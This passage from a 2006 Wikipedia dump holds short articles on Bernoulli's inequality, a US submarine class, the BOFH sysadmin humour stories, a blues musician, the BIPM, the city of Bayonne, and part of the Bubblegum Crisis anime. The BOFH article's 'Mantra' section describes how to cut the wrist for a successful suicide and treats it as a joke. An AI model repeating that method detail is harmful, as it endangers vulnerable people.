      <text xml:space="preserve">In [[mathematics]], '''Bernoulli's inequality''' is an [[inequality]] that approximates [[exponentiation]]s of 1 + &lt;i&gt;x&lt;/i&gt;.

The inequality states that
:&lt;math&gt;(1 + x)^r \geq 1 + rx\!&lt;/math&gt;
for every [[integer]] &lt;i&gt;r&lt;/i&gt; &amp;ge; 0 and every [[real number]] &lt;i&gt;x&lt;/i&gt; &amp;ge; &amp;minus;1. If the exponent &lt;i&gt;r&lt;/i&gt; is [[even number|even]], then the inequality is valid for ''all'' real numbers &lt;i&gt;x&lt;/i&gt;. The strict version of the inequality reads
:&lt;math&gt;(1 + x)^r &gt; 1 + rx\!&lt;/math&gt;
for every integer &lt;i&gt;r&lt;/i&gt; &amp;ge; 2 and every real number &lt;i&gt;x&lt;/i&gt; &amp;ge; &amp;minus;1 with &lt;i&gt;x&lt;/i&gt; &amp;ne; 0.

Bernoulli's inequality is often used as the crucial step in the [[proof (math)|proof]] of other inequalities. It can itself be proved using [[mathematical induction]]. 

The exponent &lt;i&gt;r&lt;/i&gt; can be generalized to an arbitrary real number as follows: if &lt;i&gt;x&lt;/i&gt; &gt; &amp;minus;1, then
:&lt;math&gt;(1 + x)^r \geq 1 + rx\!&lt;/math&gt;
for &lt;i&gt;r&lt;/i&gt; &amp;le; 0 or &lt;i&gt;r&lt;/i&gt; &amp;ge; 1, and 
:&lt;math&gt;(1 + x)^r \leq 1 + rx\!&lt;/math&gt;
for 0 &amp;le; &lt;i&gt;r&lt;/i&gt; &amp;le; 1.
This generalization can be proved by comparing [[derivative]]s.
Again, the strict versions of these inequalities require &lt;i&gt;x&lt;/i&gt; &amp;ne; 0 and &lt;i&gt;r&lt;/i&gt; &amp;ne; 0, 1.

== Related inequalities ==
The following inequality estimates the &lt;i&gt;r&lt;/i&gt;-th power of 1 + &lt;i&gt;x&lt;/i&gt; from the other side. For any real numbers &lt;i&gt;x&lt;/i&gt;, &lt;i&gt;r&lt;/i&gt; &amp;gt; 0, one has
:&lt;math&gt;(1 + x)^r &lt; e^{rx},\!&lt;/math&gt;
where &lt;i&gt;e&lt;/i&gt; = [[e (number)|2.718...]].
This may be proved using the inequality (1 + 1/&lt;i&gt;k&lt;/i&gt;)&lt;sup&gt;&lt;i&gt;k&lt;/i&gt;&lt;/sup&gt; &lt; &lt;i&gt;e&lt;/i&gt;.

[[Category:Inequalities]]

[[de:Bernoullische Ungleichung]]
[[fr:Inégalité de Bernoulli]]
[[it:Diseguaglianza di Bernoulli]]
[[pl:Nierówność Bernoulliego]]
[[ru:Неравенство Бернулли]]
[[zh:伯努利不等式]]</text>
    </revision>
  </page>
  <page>
    <title>Benjamin Franklin class submarine</title>
    <id>4735</id>
    <revision>
      <id>42118262</id>
      <timestamp>2006-03-03T23:08:30Z</timestamp>
      <contributor>
        <username>Longshot14</username>
        <id>949952</id>
      </contributor>
      <minor />
      <comment>misspelling</comment>
      <text xml:space="preserve">&lt;table border=1 align=&quot;right&quot; cellpadding=2 cellspacing=0 width=300&gt;
&lt;tr&gt;&lt;th colspan=2 style=&quot;color: white; background: navy;&quot;&gt;''Benjamin Franklin'' class ballistic missile submarine&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; align=&quot;center&quot;&gt;[[Image:Ssbn640b.gif|300px|USS Benjamin Franklin puts out to sea]]
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=2 style=&quot;color: white; background: navy;&quot;&gt;Class Overview&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Class Type&lt;/td&gt;&lt;td&gt;[[Submarine#Ballistic_Missile_Submarines|Ballistic Missile Submarine]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Class Name&lt;/td&gt;&lt;td&gt;In honor of [[Benjamin Franklin]] &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Preceded By&lt;/td&gt;&lt;td&gt;Chronologically:&lt;br&gt;[[Sturgeon class submarine|''Sturgeon''-class attack submarine]]&lt;br&gt;By Type:&lt;br&gt;[[James Madison class submarine|''James Madison''-class ballistic missile submarine]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Succeeded By&lt;/td&gt;&lt;td&gt;Chronologically:&lt;br&gt;[[USS Narwhal (SSN-671)|USS ''Narwhal'']]&lt;br&gt;[[USS Glenard P. Lipscomb (SSN-685)|USS ''Glenard P. Lipscomb'']]&lt;br&gt;[[Los Angeles class submarine|''Los Angeles''-class attack submarine]]&lt;br&gt;By Type&lt;br&gt;[[Ohio class submarine|''Ohio''-class ballistic missile submarine]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Ships of the Class:&lt;/td&gt;&lt;td&gt;See the list below for the ships of the ''Benjamin Franklin'' class&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

The '''''Benjamin Franklin'' class''' of submarine was an evolutionary development from the [[James Madison class submarine|''James Madison'' class]] of fleet ballistic missile submarine.  Having quieter machinery and other improvements, they are considered a separate class.  Together with 
the [[George Washington class submarine|''George Washington'']], 
the [[Ethan Allen class submarine|''Ethan Allen'']],
the [[Lafayette class submarine|''Lafayette'']], and 
the [[James Madison class submarine|''James Madison'']]
classes, they comprised the &quot;41 for Freedom.&quot;

The ''Franklin'' class submarines were built with the [[Polaris missile|Polaris A-3]], and later converted to carry the [[Poseidon missile|Poseidon C-3]].  During the late 1970s and early 1980s, select units were further modified to carry [[Trident missile|Trident-I (C-4)]] missiles.

In the early [[1980s]], to make room for the [[Ohio class submarine|''Ohio''-class ballistic missile submarines]] within the limits set by [[SALT II]], the missile tubes of 
[[USS Kamehameha (SSBN-642)|''Kamehameha'']] and
[[USS James K. Polk (SSBN-645)|''James K. Polk'']]
were disabled. Those boats were redesignated special operations attack submarines and given SSN [[hull classification symbol]]s.

== Boats ==
(Boats marked with '''*''' indicate C-4 conversions.)
* (SSBN-640) [[USS Benjamin Franklin (SSBN-640)|USS ''Benjamin Franklin'']] '''*'''
* (SSBN-641) [[USS Simon Bolivar (SSBN-641)|USS ''Simon Bolivar'']] '''*'''
* (SSBN/SSN-642) [[USS Kamehameha (SSBN-642)|USS ''Kamehameha'']]
* (SSBN-643) [[USS George Bancroft (SSBN-643)|USS ''George Bancroft'']] '''*'''
* (SSBN-644) [[USS Lewis and Clark (SSBN-644)|USS ''Lewis and Clark'']]
* (SSBN/SSN-645) [[USS James K. Polk (SSBN-645)|USS ''James K. Polk'']]
* (SSBN-654) [[USS George C. Marshall (SSBN-654)|USS ''George C. Marshall'']]
* (SSBN-655) [[USS Henry L. Stimson (SSBN-655)|USS ''Henry L. Stimson'']] '''*'''
* (SSBN-656) [[USS George W. Carver (SSBN-656)|USS ''George W. Carver'']]
* (SSBN-657) [[USS Francis Scott Key (SSBN-657)|USS ''Francis Scott Key'']] '''*'''
* (SSBN-658) [[USS Mariano G. Vallejo (SSBN-658)|USS ''Mariano G. Vallejo'']] '''*'''
* (SSBN-659) [[USS Will Rogers (SSBN-659)|USS ''Will Rogers'']]

{{Benjamin Franklin class submarine}}

[[Category:Submarine classes]]
[[Category:Benjamin Franklin class submarines| ]]</text>
    </revision>
  </page>
  <page>
    <title>BOFH</title>
    <id>4736</id>
    <revision>
      <id>40787687</id>
      <timestamp>2006-02-23T00:42:05Z</timestamp>
      <contributor>
        <username>Doco</username>
        <id>184778</id>
      </contributor>
      <minor />
      <comment>svg instread of jpg</comment>
      <text xml:space="preserve">[[Image:Bofhlogo.svg|right|thumb|Logo]]
The '''Bastard Operator From Hell''' ('''BOFH'''), a fictional character created by [[Simon Travaglia]], is a rogue [[system administrator]] who takes out his anger on [[luser]]s (his colleagues, bosses and anyone who gets in his way).

The BOFH stories were originally posted to [[Usenet]] by Travaglia, with some being reprinted in [[Datamation]]. They were published weekly from [[1995]] to [[1999]] in [[Network Week]] and from [[2000]] they have been published every few weeks in [[The Register]].  They were also published in PC Plus magazine for a short time, and several books of the stories have also been released.

By extension, the term is also used to refer to any [[system administrator]] who displays (or wishes he could get away with) the qualities of the original. The term has become common [[Internet slang]]. In the stories the BOFH also spent a brief amount of time as a '''Bastard System Manager From Hell''' ('''BSMFH''') - however, this has failed to pass into common usage online.

In the stories, the [[PFY]] (Pimply-Faced Youth) is the BOFH's assistant; this too has become a general term for a junior or trainee system administrator.

== Storylines ==

The stories take place in three locations; early BOFH editions took place in a university, moving on to an office workplace over time (an exact transition is not given). BOFH 2k began with the BOFH and PFY moving to a new company.

Whilst the BOFH gets irritated at the incompetence of users, he does use this to his advantage to further his devious means, mainly using the following tricks:

*Deleting [[Luser]] Accounts
*Deleting Luser's Files
*Lifting floor tiles
*Electrocuting lusers (from an over-voltage [[cattle prod]], or by other means)
*Locking the machine room and triggering the [[Haloalkane#Fire_extinguishing|Halon]]
*Slamming their testicles in desk drawers
*Pushing lusers off the [[Comms riser]]
*[[Blackmail]]

Early BOFH editions focused mainly on the above tricks, although over time many other schemes and plots have been used, with many now aimed at management as well as the users. Early BOFH editions simply featured the BOFH, the systems manager and the lusers - as time developed, the Boss, PFY and other characters (see below) appeared.

== Mantra ==
The [[mantra]] of the BOFH, and sysadmins everywhere is: ''Non ex transverso sed deorsum''.

Roughly translated to: ''Not across, but down''.

The phrase refers to how one should apply a razorblade to one's wrist to achieve best results. In this case, Down, not across refers to slicing parallel to your wrist as to more fully evacuate blood from the body. Exercising the blade perpendicular to the wrist is less likely to result in successful suicide, and also tends to sever important tendons, making it very hard to grasp the razor. The phrase has gained mantra status as a representation that sysadmins would rather commit [[suicide]] than work with [[Luser|lusers]].

== Characters ==

The following characters appear regularly :

* The BOFH, actual name of Simon
* The [[PFY]] (BOFH's assistant, 1996-), actual name of Steven
* The Boss (changes throughout the stories as successive bosses are sacked, leave or have nasty &quot;accidents&quot;)
* Beancounters from [[Accounting]] (disposable, interchangeable, faceless)
* The [[CEO]]
* The Head of [[Information technology|IT]]
* [[helpdesk|Helldesk]] Operators (disposable, interchangeable, faceless)
* The Boss's Secretary, Sharon
* [[Security]] (tape [[Emmerdale]] over [[CCTV]] video tapes, useless with computers)
* George, the cleaner (invaluable source of information)

== Books ==
* The Bastard Operator From Hell (Plan Nine, ISBN 1-929462-17-4)
* Bastard Operator From Hell II: Son of the Bastard (Plan Nine, ISBN 1-929462-40-9)
* Bride of the Bastard Operator From Hell (Plan Nine, ISBN 1-929462-48-4)
* Dummy Mode Is Forever (Plan Nine, ISBN 1-929462-63-8)
* Dial &quot;B&quot; For Bastard (Plan Nine, ISBN 1-929462-94-8)

==See also==
*[[alt.sysadmin.recovery]]

== External links ==
{{wikiquote}}
* [http://bofh.ntk.net/Bastard.html BOFH stories, 1988-1999]
* [http://www.theregister.co.uk/odds/bofh BOFH stories, 2000- from The Register]
* [http://www.plan9publishing.com/sunshop/index.php?action=category&amp;id=7 BOFH books from Plan Nine Publishing]
* [http://bofh.ntk.net/BastardLatestFaq.html BOFH official FAQ]
* [http://bofh.ntk.net/Bastard8.html BOFH official history]
* [http://pgl.yoyo.org/bofh/ BOFH Excuse Server]
* [http://www.malinche.net/bofh.html The BOFH Text Adventure Game]

[[Category:Computer humor]]
[[Category:Internet culture|Slang, Internet]]
[[Category:Internet slang]]
[[Category:System administration]]

[[de:Bastard Operator From Hell]]
[[es:Bastard Operator from Hell]]
[[it:BOFH]]
[[pl:BOFH]]</text>
    </revision>
  </page>
  <page>
    <title>Brownie McGhee</title>
    <id>4737</id>
    <revision>
      <id>37104318</id>
      <timestamp>2006-01-28T18:29:54Z</timestamp>
      <contributor>
        <username>Crystallina</username>
        <id>429935</id>
      </contributor>
      <minor />
      <comment>subcategorized</comment>
      <text xml:space="preserve">[[Image:Browniemcghee.jpg|thumb|right]]
'''Walter &quot;Brownie&quot; McGhee''' ([[November 30]] [[1915]] - [[February 16]] [[1996]]) was a [[folk music|folk]]-[[blues]] singer and [[guitarist]], best known for his collaborations with the [[harmonica]] player [[Sonny Terry]].

He was born in [[Knoxville, Tennessee]] and suffered from [[polio]] as a child, which incapacitated his leg. McGhee spent much of his youth immersed in music, singing with local harmony group (the Golden Voices Gospel Quartet) and teaching himself the guitar.  At the age of 22 he became a travelling musician, meeting and befriending [[Blind Boy Fuller]], whose guitar playing influenced him greatly, (to the extent that after Fuller's death in [[1941]], McGhee adopted his mentor's name, styling himself Blind Boy Fuller II).  By that time, McGhee was recording for [[Okeh Records]] in [[Chicago, Illinois]], but his real success did not come until his [[1942]] relocation to [[New York City]], where he was teamed up with [[Sonny Terry]].  The pairing was an overnight success, recording and touring extensively until the early [[1970s]]. During the &quot;folk revival&quot; of the [[1960s]] Terry and McGhee were highly popular on the concert and festival circuits, occasionally adding new material but usually remaining faithful to their roots.

{{US-musician-stub}}
{{singer-guitarist-stub}}

[[Category:1915 births|McGhee, Brownie]]
[[Category:1996 deaths|McGhee, Brownie]]
[[Category:American blues singers|McGhee, Brownie]]
[[Category:American male singers|McGhee, Brownie]]
[[Category:Folk singers|McGhee, Brownie]]
[[Category:American guitarists|McGhee, Brownie]]
[[Category:Blues guitarists|McGhee, Brownie]]
[[Category:Knoxvillians|McGhee, Brownie]]
[[Category:National Heritage Fellowship winners|McGhee, Brownie]]

[[de:Brownie McGhee]]</text>
    </revision>
  </page>
  <page>
    <title>International Bureau of Weights and Measures</title>
    <id>4739</id>
    <revision>
      <id>38071368</id>
      <timestamp>2006-02-03T23:49:44Z</timestamp>
      <contributor>
        <username>Hardouin</username>
        <id>70570</id>
      </contributor>
      <comment>WWII note</comment>
      <text xml:space="preserve">The '''International Bureau of Weights and Measures''' is the English name of the '''Bureau international des poids et mesures''' ('''BIPM''', often written in English '''Bureau International des Poids et Mesures'''), a [[standards organization]], one of the three organizations established to maintain the International System of Units ([[SI]]) under the terms of the ''[[Convention du Mètre]]'' (Metre Convention). Note that the abbreviation IBWM does ''not'' exist.

It is based at the [[Pavillon de Breteuil]] in [[Sèvres]], [[France]], where it enjoys [[extraterritoriality|extraterritorial]] status. As such it escaped German occupation during [[World War II]].

According to [http://www.bipm.org/en/home/ its official site]:

:The task of the BIPM is to ensure world-wide uniformity of measurements and their traceability to the International System of Units (SI).

It does this with the authority of the Convention du Mètre, a diplomatic [[treaty]] between fifty-one nations ([[as of 2005]]), and it operates through a series of Consultative Committees, whose members are the national [[metrology]] laboratories of the Member States of the Convention, and through its own laboratory work.

The BIPM carries out measurement-related research. It takes part in, and organizes, international comparisons of national measurement standards, and it carries out calibrations for Member States. 

The other organizations which maintain the SI system are:
* the [[General Conference on Weights and Measures]] (CGPM, Conférence générale des poids et mesures)
* the [[International Committee for Weights and Measures]] (CIPM, Comité international des poids et mesures)

==External links==
*[http://www.bipm.org/en/home/ BIPM]

&lt;!--Categories--&gt;
[[Category:Standards organizations]]
[[Category:Metrology]]
[[category:International organizations]]

&lt;!--Interwiki--&gt;

[[bg:Международно бюро за мерки и теглилки]]
[[de:Internationales Büro für Gewichte und Maße]]
[[es:Oficina Internacional de Pesos y Medidas]]
[[fr:Bureau international des poids et mesures]]
[[id:Bureau International des Poids et Mesures]]
[[it:Bureau International des Poids et Mesures]]
[[ja:国際度量衡局]]
[[pt:Museu Internacional de Pesos e Medidas]]
[[sr:Међународни биро за тежине и мере]]
[[sv:BIPM]]</text>
    </revision>
  </page>
  <page>
    <title>BIPM</title>
    <id>4740</id>
    <revision>
      <id>15902997</id>
      <timestamp>2005-05-28T02:49:49Z</timestamp>
      <contributor>
        <username>Urhixidur</username>
        <id>68509</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[International Bureau of Weights and Measures]]</text>
    </revision>
  </page>
  <page>
    <title>Bayonne</title>
    <id>4741</id>
    <revision>
      <id>42035871</id>
      <timestamp>2006-03-03T10:18:39Z</timestamp>
      <contributor>
        <username>Bota47</username>
        <id>341052</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: pt</comment>
      <text xml:space="preserve">{{otheruses}}
{{French commune|
nomcommune= Bayonne&lt;br&gt;[[Image:Bayonne.jpg|300px]]&lt;br&gt;&lt;small&gt;View of Grand Bayonne across the Adour&lt;/small&gt;|
région=[[Aquitaine]]|
département=[[Pyrénées-Atlantiques]]&lt;br /&gt;(''[[sous-préfecture]]'')|
arrondissement=Bayonne|
canton=Chief town of 3 cantons|
insee=64 102|cp=64100|maire=[[Jean Grenet]]|
mandat=[[2001]]-[[2007]]|
intercomm=[[Communauté d'agglomération de Bayonne-Anglet-Biarritz|Communauté&lt;br&gt;d'agglomération de&lt;br&gt;Bayonne-Anglet-Biarritz]]|
longitude=1° 28' 30&lt;nowiki&gt;''&lt;/nowiki&gt; W|latitude=43° 29' 37&lt;nowiki&gt;''&lt;/nowiki&gt; N|
alt moy=4 m|alt mini=0 m|alt maxi=85 m|
hectares=2,168|km²=21.68|sans=&lt;br&gt;44,300&lt;br&gt;40,078|date-sans=July 1, 2004 estimate)&lt;br&gt;(March 8, 1999 census|dens=2,043|date-dens=2004}}

[[Image:Bayonne.JPG|right|thumb|300px|Bayonne. View from the other side]]

'''Bayonne''' ([[French language|French]]: ''Bayonne'', [[International Phonetic Alphabet|pronounced]] {{IPA|/bajɔn/}}; [[Gascon language|Gascon]] and [[Basque language|Basque]]: ''Baiona'') is a city and [[commune in France|commune]] of southwest [[France]] at the confluence of the [[Nive]] and [[Adour]] rivers, in the [[Pyrénées-Atlantiques]] ''[[département in France|département]]'', of which it is a ''[[sous-préfecture]]''. 

Together with nearby [[Anglet]], [[Biarritz]], [[Saint-Jean-de-Luz]], and several smaller communes, Bayonne forms an [[urban area]] with 178,965 inhabitants at the 1999 census, 40,078 of whom lived in the city of Bayonne proper (44,300 as of 2004 estimates).

The communes of Bayonne, Biarritz, and Anglet have joined into an [[Commune in France#Intercommunality|intercommunal]] entity called the ''[[Communauté d'agglomération de Bayonne-Anglet-Biarritz]]''.

Bayonne is the main town of [[Labourd]] in the French [[Basque Country]].

==History==

In the [[3rd century]] AD, the area was the site of a [[Roman Empire|Roman]] ''[[castrum]]'', named ''Lapurdum''. It was a military place, but not a port.
In 840, the Vikings appeared in front of Lapurdum. In 842, they launched a huge offensive very deeply inland and settled outside the city on the river bank. Lapurdum is an oppidum and they needed a port. Their leader Björn gave his name to this port. Björhamn became &quot;Baionam&quot; and finally &quot;Baiona&quot;. Björnhamn is a key place on the route between river Adour et river Ebro, between, Atlantic ocean and Mediterranean sea. This commercial route was the main goal of danish invaders in France. They could esasily reach Tortosa in Spain which was the main market place in Europe dealing with slaves. 


By the [[12th century]], the city, now known as Bayonne, was an important port, with a mixed [[Basque people|Basque]] and [[Gascon]] population. As part of [[Aquitaine]], it was ruled by [[England]] between [[1151]] to [[1452]] and was a key commercial centre at the southern end of the English kingdom.
Its importance waned somewhat when the French king, [[Charles VII of France|Charles VII]], took the city at the end of the [[Hundred Years' War]] and the Adour changed course shortly afterwards, leaving Bayonne without its access to the sea. The French, however, realised Bayonne's strategic site near the [[Spain|Spanish]] border and in [[1578]] dug a canal to redirect the river through the city once again.

Bayonne endured numerous [[siege]]s from [[Plantagenet]] times until the end of the [[First French Empire]] in [[1814]]. In the [[17th century]], [[Vauban]] built large fortifications and the [[Citadel]]le in and around the city. These proved crucial in [[1813]] and [[1814]], when [[Arthur Wellesley, 1st Duke of Wellington|Wellington]]'s army besieged the city in the [[Napoleonic Wars]], only taking it when they used a bridge of ships across the Adour to position artillery around the city.

Bayonne's location close to the border, but also within the Basque Country straddling both France and Spain, gave it an often privileged position in commerce. Basque sailors travelled the world, bringing back products such as [[cinnamon]] and riches from piracy and the [[whaling]] and [[cod]] trades. An armaments industry developed, giving the world the &quot;[[bayonet]]&quot;. [[Jew]]ish refugees from the [[Spanish Inquisition]] from [[1560]] brought new trades, most notably chocolate-making, which is still important in Bayonne. Spanish Basques also sought refuge in Bayonne in the [[20th century]] during [[Francisco Franco]]'s repression, with Petit Bayonne still a centre of [[Basque nationalism]].

By the mid-[[19th century]], Bayonne had declined somewhat with the centralisation of power to [[Paris]] and to the new ''[[département in France|département]]'' capital, non-Basque [[Pau]], after the [[1789]] [[French Revolution]], and with Wellington's bombardment. However, rail links with [[Paris]] from [[1854]] and the growing touristic importance of nearby Biarritz brought industrialisation and development. Bayonne is now part of 'BAB' (Bayonne-Anglet-Biarritz), a metropolitan area of almost 200,000 people.

==Description==

[[Image:BayonneCatedral.JPG|thumb|right|250px|Cathedral]]

The Nive divides Bayonne into Grand Bayonne and Petit Bayonne, with five bridges between the two, both quarters still backed by Vauban's walls. Indeed the Nive is more like a main street, with many restaurants, squares and the covered market on its quays. The houses lining the Nive are picturesque examples of Basque architecture, with half-timbering and shutters in the national colours of red and green. The much wider Adour is to the north. The Pont St-Esprit connects Petit Bayonne with the Quartier St-Esprit across the Adour, where the massive Citadelle and the railway station are located.

Grand Bayonne is the commercial and civic hub, with small pedestrianised streets packed with shops, plus the [[cathedral]] and [[Hôtel de Ville]]. 
The Cathédrale Ste-Marie is an imposing, elegant [[Gothic architecture|Gothic]] building, rising over the houses, glimpsed along the narrow streets. It was constructed in the 12th and [[13th century|13th centuries]]. The south tower was completed in the 16th century but the cathedral was only completed in the 19th century with the north tower.
The cathedral is noted for its charming [[cloister]]s. There are other details and sculptures of note, although much was destroyed in the Revolution.
Nearby is the Château-Vieux, some of which dates back to the 12th century, where the governors of the city were based, including the English [[Black Prince]].

Petit Bayonne is lively with Basque bars and restaurants more reminiscent of cities the other side of the Pyrenees. There are two important museums here.
The Musée Basque is the finest ethnographic museum of the entire Basque Country. It opened in [[1922]] but has been closed for a decade recently for refurbishment. It now has special exhibitions on Basque agriculture, seafaring and ''[[pelota]]'', handicrafts and Basque history and way of life.
The Musée Bonnat began with a large collection bequeathed by the local-born painter [[Léon Bonnat]]. The museum is one of the best galleries in south west France and has paintings by [[Edgar Degas|Degas]], [[El Greco]], [[Sandro Botticelli|Botticelli]] and [[Francisco Goya|Goya]] among others.
At the back of Petit-Bayonne is the Château-Neuf, among the ramparts. Now an exhibition space, it was started by the newly-arrived French in [[1460]] to control the city. The walls nearby have been opened to visitors. They are important for plantlife now and Bayonne's botanic gardens adjoin the walls on both sides of the Nive.

The area across the Adour is largely residential and industrial, with much demolished to make way for the railway. The St-Esprit church was part of a bigger complex built by [[Louis XI of France|Louis XI]] to care for [[Way of St James|pilgrims to Santiago de Compostela]]. It has an attractive wooden ''Flight into Egypt'' sculpture. 
Overlooking the quarter is Vauban's [[1680]] Citadelle. The soldiers of Wellington's army who died besieging the citadelle in 1813 are buried in the nearby English Cemetery, visited by [[Victoria of the United Kingdom|Queen Victoria]] and other British dignataries when staying in Biarritz.
The distillary of the famous local liqueur, ''[[Izarra]]'', is on the northern bank of the Adour and is open to visitors.

==Culture and sport==

Bayonne has the longest tradition of [[bull-fighting]] in France and there is a ring beyond the walls of Grand Bayonne. The season runs between July and September.
Bull-fighting is a major part of the five-day Fêtes de Bayonne which starts on the first Wednesday of August and attracts people from across the Basque Country and beyond. Parades, music, dance, fireworks, food and drink all feature in the celebrations. Soon after the [[Assumption of Mary|Assumption]] festival of [[15 August]] heralds a few more days of bull-fights.

There are also important festivals of Jazz (July), [[Bayonne ham]] ([[Holy Week]]), theatre and ''[[pelota]]'' (the Basque sport).

[[Aviron Bayonnais]] is the city's [[rugby union]] club, founded in [[1904]] and French champions three times, in [[1913]], [[1934]] and [[1943]]. The local [[football (soccer)|football]] team is [[Aviron Bayonnais FC]].

==Economy and products==

Bayonne is known for its fine chocolates, produced in the town for 500 years, and [[Bayonne ham]], a cured ham seasoned with peppers from nearby [[Espelette]]. [[Izarra]], the liqueur made in bright green or yellow colours, is distilled locally. It is said by some that Bayonne is the birthplace of [[mayonnaise]], supposedly a corruption of ''Bayonnaise'', the French adjective describing the city's people and produce. Now bayonnaise can refer to a particular mayonnaise flavoured with the Espelette chillis.

Bayonne is now the centre of certain craft industries that were once widespread, including the manufacture of ''makilas'', traditional Basque walking-sticks. The Fabrique Alza just outisde the city is known for its ''palas'', bats used in ''[[pelota]]'', the traditional Basque sport.

As of 1935, its chief industries were [[shipbuilding]], [[tanning]], and [[pottery]].
In the late 20th century, the processing of by-products from the Lacq [[natural gas]] field near Pau became important, although Bayonne has had higher-than-average unemployment. [[Metallurgy]] also provides local jobs.

==Communications==

Bayonne is on the high-speed [[TGV]] line between Paris and [[Hendaye]] for connections with Spain. In practice, the line slows considerably beyond [[Bordeaux]] although there are plans to improve the service. There are regional rail services along the Basque coast, to Pau and through the [[Landes]] to [[Dax]] and Bordeaux. There is a line along the Nive valley through Labourd and [[Nafarroa Beherea]] to [[St-Jean-Pied-de-Port]], used principally by tourists and hikers.

There are extensive bus connections with Biarritz, Anglet and surrounding villages. 
The city is near the intersection between the A63 [[Autoroute]] between Bordeaux and the Spanish border and the A64 from Bayonne to [[Toulouse]].

The BAB airport, [[Aérogare de Parme]], is 3 km away in Anglet, with flights to destinations across France as well as [[London]], [[Germany]] and [[Italy]]. It is normally marketed internationally as &quot;Biarritz airport&quot;.

==Famous residents==

Bayonne was the birthplace of:
* [[Dominique Joseph Garat]] ([[1749]]-[[1833]]), [[writer]] and [[politician]]
* [[François Cabarrus]] ([[1752]]-[[1810]]), adventurer and [[Spain|Spanish]] financier, father of [[Madame Tallien]]
* [[Jacques Laffitte]] ([[1767]]-[[1844]]), banker and [[politician]]
* [[Frédéric Bastiat]] ([[1801]]-[[1850]]), [[classical liberalism|classical liberal]] [[author]] and [[political economy|political economist]]
* [[Léon Bonnat]] ([[1833]]-[[1922]]), painter
* [[René Cassin]] ([[1887]]-[[1976]]), [[lawyer|jurist]] and [[judge]], recipient of the [[1968]] [[Nobel Peace Prize]]
* [[Michel Camdessus]] (born [[1933]]), Managing Director of the [[International Monetary Fund]] (IMF) from [[1997]] to [[2000]]
* [[Didier Deschamps]] (born [[1968]]), [[Football World Cup|World-Cup]]-winning footballer
* [[Imanol Harinordoquy]] (born [[1980]]), [[France national rugby union team|French international]] [[rugby union|rugby]] player

==Civic information==
The Mayor of Bayonne (1995-2007) is Jean Grenet of the centre-right [[Union for a Popular Movement|UMP]]. The 39-strong town council is also dominated by the UMP, who hold 31 of the seats. The centre-left group has five seats, the Basque nationalist ''Baiona Berria'' have two and the communist [[Revolutionary Communist League (France)|LCR]] one.

Bayonne's twin towns are:
* [[Pamplona]], [[Navarra]], [[Spain]]
* [[Daytona Beach, Florida]], [[United States]]
* [[Bayonne, New Jersey]], [[United States]]

==External links==
* [http://www.ville-bayonne.fr/ City council website] (in French)
* [http://france-for-visitors.com/pyrenees/pays-basque/bayonne-baiona.html Visiting Bayonne (tourist map, guide and photos)] In English
* [http://www.fortified-places.com/bayonne.html Webpage about the citadel and fortifications of the town]
* [http://www.euskomedia.org/euskomedia/SAunamendi?idi=en&amp;op=7&amp;voz=BAIONA BAIONA in the Bernardo Estornés Lasa - Auñamendi Encyclopedia (Euskomedia Fundazioa)] (in Spanish)
* [http://graphikdesigns.free.fr/fetes-de-bayonne-chansons.html Fiestas Songs] (in French)

{{Lapurdi}}

[[Category:Communes of Pyrénées-Atlantiques]]
[[Category:Lapurdi]]

&lt;!--[[gl:Baiona]] about Galician Baiona --&gt;
&lt;!--[[nl:Baiona]] about Galician Baiona --&gt;

[[ca:Baiona]]
[[cs:Bayonne]]
[[de:Bayonne]]
[[es:Bayona (Francia)]]
[[eu:Baiona]]
[[fr:Bayonne]]
[[it:Bayonne]]
[[pl:Bayonne]]
[[pt:Baiona (França)]]
[[sr:Bayonne]]
[[sv:Bayonne]]</text>
    </revision>
  </page>
  <page>
    <title>Bubblegum Crisis</title>
    <id>4742</id>
    <revision>
      <id>41728554</id>
      <timestamp>2006-03-01T09:27:23Z</timestamp>
      <contributor>
        <username>Haukurth</username>
        <id>16226</id>
      </contributor>
      <minor />
      <comment>Robot-assisted disambiguation: Action</comment>
      <text xml:space="preserve">{{Infobox animanga/Header|
 title_name=Bubblegum Crisis
 |image=Bcriss.jpg
 |caption=The heroines of ''Bubblegum Crisis''. (Priss, Linna, Nene and Sylia)
 |ja_name=バブルガムクライシス
 |ja_name_trans=Bubblegum Crisis
 |genre=[[Cyberpunk]], [[Science Fiction]], [[Mecha]], [[Action movie|Action]]
}}
{{Infobox animanga/OVA|
 title=
 |director=Katsuhito Akiyama
 |studio=AIC
 |num_episodes=8 |release_dates=[[25 February]] [[1987]]
}}
{{Infobox animanga/Footer}}
'''''Bubblegum Crisis''''' is an [[anime]] [[Original Video Animation|OVA]] series that takes at least part of its inspiration from [[Philip K. Dick]]'s and [[Ridley Scott]]'s ''[[Blade Runner]]''.

''Bubblegum Crisis'' is a [[mecha]] style anime that takes place in the future in a post-disaster [[Tokyo]], now known as Megatokyo. The series has a [[manga]] adaptation.

The original OVA series was eight episodes long.  It was originally slated to run for thirteen episodes, but due to legal problems between the two studios who jointly held the rights to the series, '''Artmic''' and '''Youmex''', the series was discontinued.  The problems may have been brought on by the series' lackluster sales in [[Japan]]. In [[North America]], however, the series did comparatively well, and has remained a fan favorite. 

In Japan, a number of manga were produced that featured characters and storylines based in the BGC (a common abbreviation for the series name) universe. Some were very much thematically linked to the OVA series, others were &quot;one shots&quot; or comedy features. A number of artists participated in the creation of these comics, including [[Kenichi Sonoda]], who had produced the original Knight Saber character designs. A North American comic based in the Bubblegum Crisis Universe was published in [[English language|English]] by [[Dark Horse Comics]].

The series involves the adventures of the Knight Sabers, an all woman group of [[superheroes]]/[[mercenaries]], who don [[powered armor]] and fight various problems, most frequently rogue [[Boomer (anime term)|boomer]]s.  Boomers are humanoid robots designed to perform a variety of tasks, from construction and firefighting to combat; a particular model of Boomer, the BU-33S &quot;Sexaroid&quot;, is designed for sexual purposes.

